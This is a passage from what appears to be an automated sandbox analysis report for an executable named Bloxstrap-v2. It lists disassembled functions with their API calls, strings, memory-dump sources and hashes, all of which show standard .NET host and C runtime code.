free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD716
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD729
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF72E6AD73C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AD74A

Strings

bad locale name, xrefs: 00007FF72E6AD76D

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: free$std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_malloc
String ID: bad locale name
API String ID: 2125654041-1405518554
Opcode ID: 5637f67d86b2952cef9e03024d4b199ab4583138323439a18208f07ca6744769
Instruction ID: 93b1627120ebc5aceb091c32df81307568b8c7ce9850ecb7687d01d5e5fe1f86
Opcode Fuzzy Hash: 5637f67d86b2952cef9e03024d4b199ab4583138323439a18208f07ca6744769
Instruction Fuzzy Hash: 9E414A22B4AA4189EB14EF60D8902BCB7B5FF44748F88043CDE8D23A65CE39D565D764

Function 00007FF72E6A7820 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 198COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A7877
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A78AF
GetLastError.KERNEL32 ref: 00007FF72E6A78BD
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A79A4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A7A1A

Strings

win10, xrefs: 00007FF72E6A79D3
Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6A78E0
DOTNET_RUNTIME_ID, xrefs: 00007FF72E6A7870, 00007FF72E6A78A8, 00007FF72E6A78D9
x64, xrefs: 00007FF72E6A7AC8, 00007FF72E6A7AE4

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: EnvironmentVariable_invalid_parameter_noinfo_noreturn$ErrorLast
String ID: DOTNET_RUNTIME_ID$Failed to read environment variable [%s], HRESULT: 0x%X$win10$x64
API String ID: 1055180287-4222452407
Opcode ID: 26117ea4626b925af81c483dd006e71e471e994400f7880b49235c027d7569ca
Instruction ID: b478a14ffc00b5002bb149fae77599b883c69f3415362a270d2febc0d57a9c38
Opcode Fuzzy Hash: 26117ea4626b925af81c483dd006e71e471e994400f7880b49235c027d7569ca
Instruction Fuzzy Hash: 5B91AD22F14A4184FB00EB65E8503AD6372FB44BA8F94523DDE9D27B99DF78E181C760

Function 00007FF72E6B1880 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 163COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF72E6B18F8
MultiByteToWideChar.KERNEL32 ref: 00007FF72E6B193A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B1A78

Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6C1F
Part of subcall function 00007FF72E6A6BD0: __stdio_common_vswprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CED
Part of subcall function 00007FF72E6A6BD0: OutputDebugStringW.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6CF6
Part of subcall function 00007FF72E6A6BD0: SwitchToThread.KERNEL32(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D2B
Part of subcall function 00007FF72E6A6BD0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D5B
Part of subcall function 00007FF72E6A6BD0: fputws.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,0000000100000004,00000000,00000000,00000000,00000007,?,FFFFFFFF,00007FF72E6A69F6), ref: 00007FF72E6A6D6C

Strings

This executable is not bound to a managed DLL to execute. The binding value is: '%s', xrefs: 00007FF72E6B1A22
The managed DLL bound to this executable is: '%s', xrefs: 00007FF72E6B1A3F
c3ab8ff13720e8ad9047dd39466b3c89, xrefs: 00007FF72E6B19BA
Bloxstrap.dll, xrefs: 00007FF72E6B18AA
74e592c2fa383d4a3960714caef0c4f2, xrefs: 00007FF72E6B1A00
The managed DLL bound to this executable could not be retrieved from the executable image., xrefs: 00007FF72E6B1A8C

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: ByteCharMultiWide__stdio_common_vswprintf$DebugOutputStringSwitchThread__acrt_iob_func_invalid_parameter_noinfo_noreturnfputws
String ID: 74e592c2fa383d4a3960714caef0c4f2$Bloxstrap.dll$The managed DLL bound to this executable could not be retrieved from the executable image.$The managed DLL bound to this executable is: '%s'$This executable is not bound to a managed DLL to execute. The binding value is: '%s'$c3ab8ff13720e8ad9047dd39466b3c89
API String ID: 2972223607-3019389210
Opcode ID: 545554588e4116e5a4eddad4278adbabfe6e8913567b09a1fdda785bea23ebe7
Instruction ID: b9d6f321d4a6f5b9406c350cef887ae2394713ad54ee17664128ae266c5e99ce
Opcode Fuzzy Hash: 545554588e4116e5a4eddad4278adbabfe6e8913567b09a1fdda785bea23ebe7
Instruction Fuzzy Hash: F851C321B1868195EB10AF25ED542B9A393FB54BD0F84053EDA9D23BE9DF3CE5418B20

Function 00007FF72E6ADFB0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 149libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF72E6AE07A
GetLastError.KERNEL32 ref: 00007FF72E6AE088
GetModuleHandleExW.KERNEL32 ref: 00007FF72E6AE0D5
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AE188
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AE1CD

Strings

Loaded library from %s, xrefs: 00007FF72E6AE144
Failed to load the dll from [%s], HRESULT: 0x%X, xrefs: 00007FF72E6AE0AB
Failed to pin library [%s] in [%s], xrefs: 00007FF72E6AE0F4
pal::load_library, xrefs: 00007FF72E6AE0ED

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorHandleLastLibraryLoadModule
String ID: Failed to load the dll from [%s], HRESULT: 0x%X$Failed to pin library [%s] in [%s]$Loaded library from %s$pal::load_library
API String ID: 2518456378-4234151505
Opcode ID: 129278fe822b83c1fe3a8b48a7ce889915f9eb2cf3cbb8f7aeddfb066182d503
Instruction ID: 464be8513e5e463df0bae4dfb0c1f2242145823b9411e95df0372b8b4d71aba0
Opcode Fuzzy Hash: 129278fe822b83c1fe3a8b48a7ce889915f9eb2cf3cbb8f7aeddfb066182d503
Instruction Fuzzy Hash: 5F517C61F14A5288FF00ABA5D8542FC67B2FB04798FD4413ECA9D22699DF7CD485CB20

Function 00007FF72E6B6614 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 316COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF72E6B67B2
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF72E6B6AD5
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B6AEB
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B6B03
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6B6B09

Strings

csm, xrefs: 00007FF72E6B67D9
csm, xrefs: 00007FF72E6B675B
csm, xrefs: 00007FF72E6B66F9

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: terminate$Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 695522112-393685449
Opcode ID: 7aa9daa4de3391fca24b570283e39c62f96b476bdd2ec60151d1be09ccb23810
Instruction ID: bc2f3b94fa4961d3cb421d7ad7807f8d352fc4f9097f292efc9cd4ac4bdaa2d1
Opcode Fuzzy Hash: 7aa9daa4de3391fca24b570283e39c62f96b476bdd2ec60151d1be09ccb23810
Instruction Fuzzy Hash: 64E1B4739087828AE720AF24D8402ADBBA6FB44748F94513DDE8D67796DF38E485CF10

Function 00007FF72E6A7F10 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

toupper.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF72E6A7FC3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A8077
GetCurrentProcess.KERNEL32 ref: 00007FF72E6A80A1
IsWow64Process.KERNEL32 ref: 00007FF72E6A80AF

Strings

DOTNET_ROOT, xrefs: 00007FF72E6A80F4
DOTNET_ROOT(x86), xrefs: 00007FF72E6A80C6
DOTNET_ROOT_, xrefs: 00007FF72E6A7F41
x64, xrefs: 00007FF72E6A7F6B

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Process$CurrentWow64_invalid_parameter_noinfo_noreturntoupper
String ID: DOTNET_ROOT$DOTNET_ROOT(x86)$DOTNET_ROOT_$x64
API String ID: 1386953757-2049366658
Opcode ID: 4ca5a4ac9c102269342a3d45f8508e0985d4fcdf0fda7f7d735a20df1f6e5bd5
Instruction ID: 62a2f1a6956ed704fb5fb6599d45da9103f833f140a6f5da0b87404b83f9b05d
Opcode Fuzzy Hash: 4ca5a4ac9c102269342a3d45f8508e0985d4fcdf0fda7f7d735a20df1f6e5bd5
Instruction Fuzzy Hash: 6E51A672A1868281DA00AB11ED542BAA362FB85BD4F80503DEA8E17B54CF7CE595CB60

Function 00007FF72E6AF720 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32 ref: 00007FF72E6AF795
GetFullPathNameW.KERNEL32 ref: 00007FF72E6AF7BC
GetFullPathNameW.KERNEL32 ref: 00007FF72E6AF8D4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AF946
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6AFB18
GetFileAttributesExW.KERNEL32 ref: 00007FF72E6AFB47

Strings

Error resolving full path [%s], xrefs: 00007FF72E6AF7DA, 00007FF72E6AF8F2

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: AttributesFileFullNamePath_invalid_parameter_noinfo_noreturn
String ID: Error resolving full path [%s]
API String ID: 2208424437-1390578158
Opcode ID: 700b7a2836e652c3f476c5f2200fa0d227fddbdd5c358505c06e96e97ace355d
Instruction ID: 3c7d933efb6aa58467667246881fa54cfa1e76dedabdb04666c64760de13cd13
Opcode Fuzzy Hash: 700b7a2836e652c3f476c5f2200fa0d227fddbdd5c358505c06e96e97ace355d
Instruction Fuzzy Hash: 20C1D422F1864285EE50EB16E8542BDE363FB94B94FD0113AEA8D13B99DF3CD444CB61

Function 00007FF72E6B80FC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B8181
GetLastError.KERNEL32(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B818F
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B81A8
LoadLibraryExW.KERNEL32(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B81B9
FreeLibrary.KERNEL32(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B81FF
GetProcAddress.KERNEL32(?,?,?,00007FF72E6B83AE,?,?,?,00007FF72E6B802C,?,?,?,?,00007FF72E6B5D61), ref: 00007FF72E6B820B

Strings

api-ms-, xrefs: 00007FF72E6B81A1

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: 4e4d3ef0518f05843b8119dbc8b21a43690e2d813fb8aa4755cdbcb59549975f
Instruction ID: ed4286b73e65dae139794ebe6446ac0ab70d5b636fe6a51c43ba3366f5dae8e3
Opcode Fuzzy Hash: 4e4d3ef0518f05843b8119dbc8b21a43690e2d813fb8aa4755cdbcb59549975f
Instruction Fuzzy Hash: 7F31E221A1AA8291EE51BF02AC04675A3D6FF08BA4FD9053DDD9D2B790DF3CE4448B60

Function 00007FF72E6A8140 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A83D5

Strings

missing_runtime=true, xrefs: 00007FF72E6A81D4, 00007FF72E6A81F0
&arch=, xrefs: 00007FF72E6A8236, 00007FF72E6A8252
&rid=, xrefs: 00007FF72E6A8305, 00007FF72E6A8321
https://aka.ms/dotnet-core-applaunch?, xrefs: 00007FF72E6A818E
x64, xrefs: 00007FF72E6A8298, 00007FF72E6A82B4

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: &arch=$&rid=$https://aka.ms/dotnet-core-applaunch?$missing_runtime=true$x64
API String ID: 3668304517-1194784717
Opcode ID: 246fc1f721661ec727354ea19e46e395cdb2e4c64d5e48306f950cae5dfbb789
Instruction ID: 04297bc94d591e8c26728c9bff7cebe083c4d15588fb2556e72b9309ba94c97b
Opcode Fuzzy Hash: 246fc1f721661ec727354ea19e46e395cdb2e4c64d5e48306f950cae5dfbb789
Instruction Fuzzy Hash: 27819C76A28B4581EB00EF15E90826DA323FB45BC4FD05139DA8D17798DF7CE551CBA0

Function 00007FF72E6A7B60 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A7BBD
GetLastError.KERNEL32 ref: 00007FF72E6A7BCA
GetEnvironmentVariableW.KERNEL32 ref: 00007FF72E6A7C25

Part of subcall function 00007FF72E6A6A70: __stdio_common_vfwprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6AF4
Part of subcall function 00007FF72E6A6A70: fputwc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF72E6A6B02

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A7CE9

Strings

Failed to read environment variable [%s], HRESULT: 0x%X, xrefs: 00007FF72E6A7BED
Did not find [%s] directory [%s], xrefs: 00007FF72E6A7CA2

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: EnvironmentVariable$ErrorLast__stdio_common_vfwprintf_invalid_parameter_noinfo_noreturnfputwc
String ID: Did not find [%s] directory [%s]$Failed to read environment variable [%s], HRESULT: 0x%X
API String ID: 3573659760-4112875940
Opcode ID: af2de81c4f9758bd924e02c9db0222187bf9d8dbcf55615fb423f0d122d0737b
Instruction ID: daa724c3c7a6984f5b5f2409f23481b0bb23bf10d33f36c826f95be88699e59c
Opcode Fuzzy Hash: af2de81c4f9758bd924e02c9db0222187bf9d8dbcf55615fb423f0d122d0737b
Instruction Fuzzy Hash: 0A41A762B1864585EA10AB15EC5427AA363FB88BD4F845239EA9E83795DF3CE440CB20

Function 00007FF72E6A8B80 Relevance: 9.2, APIs: 6, Instructions: 210COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A8D9F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A8E07
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A8E46
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A8E89
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A8E8F

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$malloc
String ID:
API String ID: 2122263803-0
Opcode ID: f7092150bcf240f315c887281ce0cb2143f9599e823e271ff77c7d59e1cbd6d4
Instruction ID: 33511ef6dd03402ade88f283dfa3eefa534ac6f80717b9e6c43817fd79e76048
Opcode Fuzzy Hash: f7092150bcf240f315c887281ce0cb2143f9599e823e271ff77c7d59e1cbd6d4
Instruction Fuzzy Hash: E4819072F09B4185EA10EB15E848669B3A6FB44BA0F990739DABD03BD5DF7CE440CB50

Function 00007FF72E6A8EA0 Relevance: 9.2, APIs: 6, Instructions: 199COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A90B6
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A911E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF72E6A915D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A91A0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A91A6

Part of subcall function 00007FF72E6B3B08: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF72E6A1BFD), ref: 00007FF72E6B3B22

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task$malloc
String ID:
API String ID: 2122263803-0
Opcode ID: 989e97613d71040cfcb70590aeef6e51731d56582da2fd5b5effd2f9ec92dd89
Instruction ID: 1c0a44ae797b8ba12f0365ce846b9d89ede9855c45f7079deac462dc46dbc4da
Opcode Fuzzy Hash: 989e97613d71040cfcb70590aeef6e51731d56582da2fd5b5effd2f9ec92dd89
Instruction Fuzzy Hash: A7818132E18B4181EA10AB15E848369B3A6FB55BF0F900739DABD13BD9DF79E481C710

Function 00007FF72E6A5AD0 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6A5AE6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6A5B0B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6A5B35
std::_Facet_Register.LIBCPMT ref: 00007FF72E6A5BA4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6A5BC5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6A5BDA

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745637888.00007FF72E6BA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745661406.00007FF72E6C4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1745681352.00007FF72E6C6000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff72e6a0000_Bloxstrap-v2.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 687d47e6ffdb7fc9d425bfbc042bb7a4285e5337e1a870400126dab56da0200b
Instruction ID: aafaf1d6be4e1fad84680d2b17575cb3abb1e6bca18244e6d223bdabbf85f9d5
Opcode Fuzzy Hash: 687d47e6ffdb7fc9d425bfbc042bb7a4285e5337e1a870400126dab56da0200b
Instruction Fuzzy Hash: 0D316221E09A4281EE15FB16EC601B9E3A2FF44B94F98513DDA5D077A5DF3CE441CB24

Function 00007FF72E6ACFD0 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6ACFE6
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF72E6AD00B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AD035
std::_Facet_Register.LIBCPMT ref: 00007FF72E6AD0A4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF72E6AD0C5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF72E6AD0DA

Memory Dump Source

Source File: 00000001.00000002.1745508868.00007FF72E6A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF72E6A0000, based on PE: true

Associated: 00000001.00000002.1745478274.00007FF72E6A0000.00000002.00000001.01000000.00000006.sdmpDownload File
